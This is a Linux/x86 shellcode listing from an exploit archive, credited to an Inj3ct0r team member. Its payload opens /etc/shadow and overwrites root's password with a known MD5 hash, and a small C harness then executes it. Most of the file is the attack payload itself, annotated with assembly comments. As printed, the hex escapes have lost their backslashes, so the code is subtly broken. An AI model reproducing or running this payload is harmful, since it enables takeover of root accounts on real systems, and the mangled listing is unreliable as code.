/*
 | Title: Linux/x86 pwrite("/etc/shadow", hash, 32, 8) Shellcode 83
Bytes
 | Description: replace root's password with hash of "agix" in MD5
 | Type: Shellcode
 | Author: agix
 | Platform: Linux X86
*/ 

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / __  /'__`                   0
0  /_,     ___   /_/_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/__<_  /'___  /    /`'__          0
0       / /    /   / __/  _  _   /           1
1       _ _ __   ____/ ____\ __\ ____/ _           0
0       /_//_//_/ _ /___/  /____/ /__/ /___/  /_/           1
1                   ____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
1                    ##################################                1
0                    I'm agix member from Inj3ct0r Team                1
1                    ##################################                0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

#include <stdio.h>

char shellcode[] =
"x31xC9"                      //xor ecx,ecx
"x51"                          //push ecx
"x68x61x64x6Fx77"          //push dword 0x776f6461
"x68x63x2Fx73x68"          //push dword 0x68732f63
"x68x2Fx2Fx65x74"          //push dword 0x74652f2f
"x89xE3"                      //mov ebx,esp
"x66xB9x91x01"              //mov cx,0x191
"x6Ax05"                      //push byte +0x5
"x58"                          //pop eax
"xCDx80"                      //int 0x80
"x89xC3"                      //mov ebx,eax
"xEBx0D"                      //jmp short 0x30
"x59"                          //pop ecx
"x6Ax20"                      //push byte +0x20
"x5A"                          //pop edx
"xB0xB5"                      //mov al, 0xb5
"x6Ax08"                      //push byte +0x8
"x5E"                          //pop esi
"x31xFF"                      //xor edi,edi
"xCDx80"                      //int 0x80
"xE8xEExFFxFFxFF"          //call 0x22
//db "IMMkmgi9$NuhPs1B8H5uz7kEOeKf2H1:"
"x49x4Dx4Dx6Bx6Dx67x69x39"
"x24x4Ex75x68x50x73x31x42"
"x38x48x35x75x7Ax37x6Bx45"
"x4Fx65x4Bx66x32x48x31x3A";

int main(int argc, char **argv) {
        int *ret;
        ret = (int *)&ret + 2;
        (*ret) = (int) shellcode;
}